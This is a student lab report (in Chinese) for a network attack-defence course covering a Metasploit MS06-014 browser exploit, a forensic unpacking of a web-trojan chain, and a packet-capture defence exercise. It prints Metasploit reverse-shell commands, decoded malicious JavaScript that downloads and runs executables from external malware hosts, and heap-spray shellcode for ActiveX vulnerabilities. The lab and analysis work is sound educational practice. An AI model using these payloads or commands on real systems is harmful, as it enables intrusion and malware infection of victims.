1. 程式人生 > 其它 >20212908 2021-2022-2 《網路攻防實踐》實踐十一報告

20212908 2021-2022-2 《網路攻防實踐》實踐十一報告

一、實踐內容

1.web瀏覽器滲透攻擊

任務:使用攻擊機和Windows靶機進行瀏覽器滲透攻擊實驗,體驗網頁木馬構造及實施瀏覽器攻擊的實際過程。
實驗步驟:
①選擇使用Metasploit中的MS06-014滲透攻擊模組
②選擇PAYLOAD為任意遠端Shell連線
③設定伺服器地址和URL引數,執行exploit,構造出惡意網頁木馬指令碼
④在靶機環境中啟動瀏覽器,驗證與伺服器的連通性,並訪問而已網頁木馬指令碼URL
⑤在攻擊機的Metasploit軟體中檢視滲透攻擊狀態,並通過成功滲透攻擊後建立起的遠端控制會話SESSION,在靶機上遠端執行命令

2.取證分析實踐—網頁木馬攻擊場景分析

實踐過程:
①首先你應該訪問start.html,在這個檔案中給出了new09.htm的地址,
②在進入 htm 後,每解密出一個檔案地址,請對其作 32 位 MD5 雜湊,以雜湊值為檔名到

http://192.168.68.253/scom/hashed/雜湊值下去下載對應的檔案(注意:檔名中的英文字母為小寫,且沒有副檔名),即為解密出的地址對應的檔案。
③如果解密出的地址給出的是網頁或指令碼檔案,請繼續解密。
④如果解密出的地址是二進位制程式檔案,請進行靜態反彙編或動態除錯。
⑤重複以上過程直到這些檔案被全部分析完成。

3.攻防對抗實踐—web瀏覽器滲透攻擊攻防

攻擊方使用Metasploit構造出至少兩個不同Web瀏覽端軟體安全漏洞的滲透攻擊程式碼,並進行混淆處理之後組裝成一個URL,通過具有欺騙性的電子郵件傳送給防守方。
防守方對電子郵件中的掛馬連結進行提取、解混淆分析、嘗試恢復出滲透程式碼的原始形態,並分析這些滲透程式碼都是攻擊哪些Web瀏覽端軟體的哪些安全漏洞。

二、實踐過程

1.web瀏覽器滲透攻擊

(1)開啟攻擊機kali與靶機Win2k,確認兩者在同一網段,能夠ping通,在kali終端輸入msfconsole啟動Metasploit。

(2)輸入:search MS06-014,檢視攻擊模組

(3)輸入use exploit/windows/browser/ie_createobject,使用該攻擊模組;
輸入set Lhost 192.168.200.5,設定攻擊機IP,set Rhost 192.168.200.124,設定靶機IP;
輸入show payloads檢視載荷。

(4)輸入set payload windows/shell/reverse_tcp

使用該載荷進行攻擊;
輸入run開始攻擊。

(5)將生成的URL地址http://192.168.200.5:8080/9spXxsuNBXEo,貼上到靶機Win2k的IE瀏覽器。

(6)在kali中輸入sessions -i 1選擇會話1,返回shell,攻擊成功。輸入命令:lsipconfig

2.取證分析實踐—網頁木馬攻擊場景分析

(1)使用記事本開啟start.html,搜尋其中的new09.htm


可以看出,new09.htm和start.html是在同一路徑下的。
(2)使用記事本再開啟new09.htm,得到兩個地址:http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js。

對兩個地址進行MD5碼計算:
http://aa.18dd.net/aa/kl.htm 的32位MD5加密值為:7F60672DCD6B5E90B6772545EE219BD3;
http://js.users.51.la/1299644.js 的32位MD5加密值為:23180A42A2FF1192150231B44FFDF3D3。


(3)按照指導,我們應該從下面兩個地址下載,但是無法訪問,所以使用了xs同學分享的壓縮包。

(4)使用記事本開啟檔案1299644.js。

(5)使用記事本開啟檔案kl.htm。可以看出,該檔案使用了xxtea+base64加密,而\x73\x63\x72\x69\x70\x74為加密金鑰,我們對其進行ASCII編碼轉換,發現金鑰為script。


(6)在這個https://cycy.sourceforge.io/xxtea/,將kl.htm所有內容複製進去用script解密,得到下圖所示的ASCII碼。

(7)將ASCII碼轉換為文字,得到一段程式程式碼。

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

可以看到涉及到的地址 http://aa.18dd.net/aa/1.js、http://aa.18dd.net/aa/b.js、http://aa.18dd.net/aa/pps.js、http://down.18dd.net/bb/bd.cab
分別對應Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1和BaiduBar.Tool程式漏洞。
分別計算MD5值:

  • MD5值依次為:5d7e9058a857aa2abee820d5473c5fa4、3870c28cc279d457746b3796a262f166、5f0b8bf0385314dbe0e5ec95e6abedc2、1c1d7b3539a617517c49eee4120783b2

然後按照 http://192.168.68.253/scom/hashed/MD5值 的格式下載檔案,得到1.js、b.js、pps.js、bd.cab這四個檔案。
接下來對這四個檔案進行分析。
(8)1.js檔案,對其進行16進位制轉換後,可以看出這個檔案會下載一個名為014.exe的可執行檔案。

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

(9)b.js檔案使用了packed加密方法,對其進行解密,解密結果為:

var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;
x<300;
x++)memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)

我們可以看到關鍵字shellcode,根據參考檔案,shellcode是一個下載器,因此需要尋找其中的URL。
(10)pps.js檔案採用的是八進位制的加密方式,解密結果為:

http://aa.18dd.net/aa/pps.js 5F0B8BF0385314DBE0E5EC95E6ABEDC2
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

(11)查閱資料可知unescape()函式裡面還是16進位制,根據/的16進位制2f分佈,可知b.js和pps.js檔案裡面.exe檔案下載的部分程式碼分別為:
%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000
%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065
轉換完得到的.exe檔案下載地址為:http://down.18dd.net/bb/bf.exehttp://down.18dd.net/bb/pps.exe。
(12)bd.cab檔案是一個壓縮檔案解壓得到一個bd.exe的檔案。
這樣我們得到了個四個.exe檔案,計算MD5值下載下來。

(13)將四個檔案內容計算MD5值,發現都相同,都是1290ecd734d68d52318ea9016dc6fe63

(14)檔案都相同選擇一個.exe檔案分析,使用超級巡警對bd.exe進行脫殼,可以看到作者是Borland Delphi。

(15)用IDA進行反編譯,在Strings Window中發現了20個用於下載exe檔案的連結,還有一些其他的軟體行為。


(16)使用電腦的防毒軟體進行掃描所有的exe檔案,發現了不同的病毒型別。
Worm/Autorun.rpps.exe bf.exe bd.cab蠕蟲病毒
HVM:Trojan/Injector.gen!A1.exe木馬病毒
HVM:Trojan/MalBehav.gen!B其餘都是這個木馬病毒

3.攻防對抗實踐—web瀏覽器滲透攻擊攻防

  • 攻擊方:重複內容一的命令,將產生的連線傳送到靶機

  • 防守方:
    (1)使用wireshark抓包,可以發現產生的url和攻擊.js檔案。

    (2)檢視tcp流,對抓取的.js檔案先壓縮,再格式化。


    (3)發現該攻擊會下載執行一個nITSdufvGkTDODZ.exe的可執行檔案。

    (5)檢視後臺程序,發現執行中的nITSdufvGkTDODZ.exe檔案。

    (6)js檔案中包含了漏洞的ID號,就屬於MS06-014漏洞。

三、學習中遇到的問題及解決

  • 問題1:進行Metasploit攻擊時沒有確認攻擊機、靶機的連通性,導致攻擊失敗
  • 問題1解決方案:進行網路設定,將kali與Win2k設定在同一網段,進行連通性測試成功。

四、實踐總結

本次實驗,進行了web瀏覽器滲透攻防、網頁木馬攻擊場景的詳細分析,用到了各種解密加密解碼的網頁,需要一層一層往下分析,提高了自己的動手能力。